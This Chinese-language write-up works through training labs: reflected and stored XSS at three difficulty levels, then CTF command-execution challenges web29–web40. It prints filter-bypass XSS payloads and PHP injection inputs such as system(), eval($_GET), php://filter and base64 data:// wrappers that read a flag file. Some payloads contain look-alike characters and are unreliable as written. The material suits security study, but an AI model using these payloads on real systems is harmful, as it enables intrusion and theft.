XSS(Reflected)
又称为非持久性跨站点脚本攻击,它是最常见的类型的XSS。漏洞产生的原因是攻击者注入的数据反映在响应中。一个典型的非持久性XSS包含一个带XSS攻击向量的链接(即每次攻击需要用户的点击) 恶意代码并没有保存在目标网站,由浏览器解析脚本。
LOW
查看源码
代码直接采用get方式传入了name参数,并没有任何的过滤与检查,存在明显的XSS漏洞
最普通的测试payload:<script>alert(/xss/)</script>
payload
payload,翻译过来是有效载荷
通常在传输数据时,为了使数据传输更可靠,要把原始数据分批传输,并且在每一批数据的头和尾都加上一定的辅助信息,比如数据量的大小、校验位等,这样就相当于给已经分批的原始数据加一些外套,这些外套起标示作用,使得原始数据不易丢失,一批数据加上“外套”就形成了传输通道的基本传输单元,叫做数据帧或数据包,而其中的原始数据就是payload
步骤:
在框中输入<script>alert(/xss/)</script>
可以看到url后面多了一部分:?name=<script>alert(%2Fxss%2F)<%2Fscript>#,这个就是转义后的payload:<script>alert(/xss/)</script>。
Medium
查看源码
可以看到,这里对输入进行了过滤,使用str_replace函数将输入中的<script>替换为空,这种黑名单防护机制是可以被轻松绕过的。
①大小写绕过:<ScRipt>alert(/xss/)</ScRipt>
②双写方式绕过str_replace()函数:
<scr<script>ipt>alert(/xss/)</script>
③使用非script标签的xss payload:
img标签:
<img src=1 οnerrοr=alert('xss')>
iframe标签:
<iframe οnlοad=alert(1)>
<iframe src=javascript:alert('xss');height=0 width=0 /><iframe>
操作
1.提交<script>alert(/xss/)</script>,并没有反映
原因就是源码针对“<script>”字段进行过滤,所以payload就没法进行执行了。
2.
a.可以使用大小写绕过
输入<ScRipt>alert(/xss/)</ScRipt>
b.使用双写绕过
输入<scr<script>ipt>alert(/xss/)</script>
High
preg_replace()
preg_replace 函数执行一个正则表达式的搜索和替换。
语法
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。
参数说明:
-
$pattern: 要搜索的模式,可以是字符串或一个字符串数组。
-
$replacement: 用于替换的字符串或字符串数组。
-
$subject: 要搜索替换的目标字符串或字符串数组。
-
$limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
-
$count: 可选,为替换执行的次数。
preg_replace() 函数用于正则表达式的搜索和替换,这使得双写绕过、大小写混淆绕过(正则表达式中i表示不区分大小写)不再有效。
虽然无法使用<script>标签注入XSS代码,但是可以通过img、body等标签的事件或者iframe等标签的src构造可利用的js代码。
1.使用img标签和其编码转换后的XSS payload:
<img src=1 οnerrοr=alert(/xss/)>
img标签编码转换后的XSS payload例如:
<img src=1 οnerrοr=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>
<img src=1 οnerrοr=eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41))></img>
<imgsrc=1οnerrοr=eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0027\u0078\u0073\u0073\u0027\u0029")></img>
2.使用iframe标签:
<iframe οnlοad=alert(/xss/)>
使用DATA URL进行XSS:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
操作
1.使用大小写 双写都没有反映
2.使用image标签
XSS(Stored)
XSS存储型攻击,攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。这就意味着只要访问了这个页面的访客,都有可能会执行这段恶意脚本,因此储存型XSS的危害会更大。因为存储型XSS的代码存在于网页的代码中,可以说是永久型的。
存储型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中
LOW
查看源码
trim(string,charlist) 函数用于移除字符串两侧的空白字符或其他预定义字符,charlist 参数可以规定从字符串中删除哪些字符。
stripslashes() 函数用于删除反斜杠,可用于清理从数据库中或者从 HTML 表单中取回的数据。
mysqli_real_escape_string() 函数用于对字符串中的特殊字符进行转义,使得这个字符串是一个合法的 SQL 语句。
GLOBALS 是引用全局作用域中可用的全部变量,是一个包含了全部变量的全局组合数组。
源码的用意是输入一个名字和一段文本,然后网页把输入的信息加入到数据库中,同时服务器也会将服务器的内容回显到网页上。
操作:
1.例如我们随便输入一个名字和一个文本,点击提交,网页会把这些内容加入数据库并回显。
源码对我们输入的 message 和 name 并没有进行 XSS 过滤,直接将数据存储在数据库中,存在存储型 XSS 漏洞。
2.直接在 Message 注入 payload,服务器成功弹出页面。这种攻击是永久性的,每次切换到这个页面都会弹出,除非开发者删除数据库内容。
Medium
查看源码
addslashes() 函数在每个双引号前添加反斜杠,返回在预定义字符之前添加反斜杠的字符串。
strip_tags() 函数用于剥去字符串中的 HTML、XML 以及 PHP 的标签
htmlspecialchars() 函数用于把预定义的字符 "<" 和 ">" 转换为 HTML 实体。
可以看到 Message 参数对所有的 XSS 都进行了过滤,但是 name 参数只是过滤了 < script > 标签而已,我们可以对 name 参数进行注入。
addslashes() 函数在每个双引号前添加反斜杠,返回在预定义字符之前添加反斜杠的字符串。strip_tags() 函数用于剥去字符串中的 HTML、XML 以及 PHP 的标签,htmlspecialchars() 函数用于把预定义的字符 "<" 和 ">" 转换为 HTML 实体。
可以看到 Message 参数对所有的 XSS 都进行了过滤,但是 name 参数只是过滤了 < script > 标签而已,我们可以对 name 参数进行注入。
操作
抓包发送到repeater板块
由于 name 参数有输入限制,因此我们需要抓包改参数,注入的 JS 脚本可以用大小写绕过。
<SCRIPT>alert('xss')</SCRIPT>
High
查看源码
源码如下,preg_replace() 函数执行一个正则表达式的搜索和替换,“*” 代表一个或多个任意字符,“i” 代表不区分大小写。也就是说 name 参数 “< script >” 标签在这里被完全过滤了,但是我们可以通过其他的标签例如 img、body 等标签的事件或者iframe 等标签的 src 注入 JS 攻击脚本。
抓包
发送到repeater板块
然后将 <img src=1 οnerrοr=alert('hack')> 进行URL编码
web29
题目:命令执行,需要严格的过滤
查看源码
preg_match()函数
语法
int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )
搜索 subject 与 pattern 给定的正则表达式的一个匹配。
参数说明:
-
$pattern: 要搜索的模式,字符串形式。
-
$subject: 输入字符串。
-
$matches: 如果提供了参数matches,它将被填充为搜索结果。 $matches[0]将包含完整模式匹配到的文本, $matches[1] 将包含第一个捕获子组匹配到的文本,以此类推。
-
$flags:flags 可以被设置为以下标记值:
-
PREG_OFFSET_CAPTURE: 如果传递了这个标记,对于每一个出现的匹配返回时会附加字符串偏移量(相对于目标字符串的)。 注意:这会改变填充到matches参数的数组,使其每个元素成为一个由 第0个元素是匹配到的字符串,第1个元素是该匹配字符串 在目标字符串subject中的偏移量。
-
-
offset: 通常,搜索从目标字符串的开始位置开始。可选参数 offset 用于 指定从目标字符串的某个未知开始搜索(单位是字节)。
返回值
返回 pattern 的匹配次数。 它的值将是 0 次(不匹配)或 1 次,因为 preg_match() 在第一次匹配后 将会停止搜索。preg_match_all() 不同于此,它会一直搜索subject 直到到达结尾。 如果发生错误preg_match()返回 FALSE。
preg_match函数是进行正则表达式的匹配,成功返回1,否则返回0
if(!preg_match("/flag/i", $c)){
只过滤flag【不区分大小写】
操作
1.查看目录
URL/?c=system('ls');
2.获取flag.php ,关键字flag过滤,使用通配符?
?c=system("cp fla?.php 1.txt");
cp命令将flag.php保存到1.txt 再去访问1.txt
得到flag
web30
题目:命令执行,需要严格的过滤
该题与29题的不同之处就是增加了对命令执行函数的过滤,命令执行的函数有很多
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec()
这里需要注意一下,只有system函数是有回显的,其他的函数可以通过echo等显示
这里采用反引号绕过
payload:c=echo `cat f*`;得到flag
web31
题目:命令执行,需要严格的过滤
过滤的更多了,包括cat 空格 我们可以用eval( )来操作
使用URL//?c=eval($_GET[1]);&1=system('cat flag.php') 查看网页源代码,获得flag
web32
题目:命令执行,需要严格的过滤
因为只对C进行了过滤
c=include$_GET["url"]?>
&url=php://filter/read=convert.base64-encode/resource=flag.php
传参得到flag
web33
题目:命令执行,需要严格的过滤
过滤了flag system php cat sort shell . space ’ ` echo ; ( "
因为又多了双引号过滤
c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
传参得到flag
web34
题目:命令执行需要严格的过滤
过滤 flag system php cat sort shell . space ’ ` echo ; ( : "
使用URL/c=include$_GET[1]?> &1=php://filter/read=convert.base64-encode/resource=flag.php
web35
题目:命令执行需要严格的过滤
过滤多了= <
还是不影响include
使用URL/c=include$_GET[1]?> &1=php://filter/read=convert.base64-encode/resource=flag.php
得到flag
web36
过滤多了/ 0-9
改为a
使用URL/c=include$_GET[a]?>
&a=php://filter/read=convert.base64-encode/resource=flag.php传参得到flag
web 37
过滤了flag ,又是 include 文件包含,利用伪协议
data://可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行 因为被当成php所以不能用shell
使用
?c=data://text/plain,<?php system('cat f*');?>或
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
得到flag
web38
多了过滤 php file 能通过base64和日志shell拿到flag
用url/?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
web39
通过后缀限制了include
使用data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用
例:
?c=data://text/plain,<?php echo 111;?>
得到 111.php
?c=data://text/plain,<?php system('cat f*');?>
web40
过滤了很多符号
进行payload:
?c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));或
?c=show_source(array_rand(array_flip(scandir(current(localeconv()))));
得到flag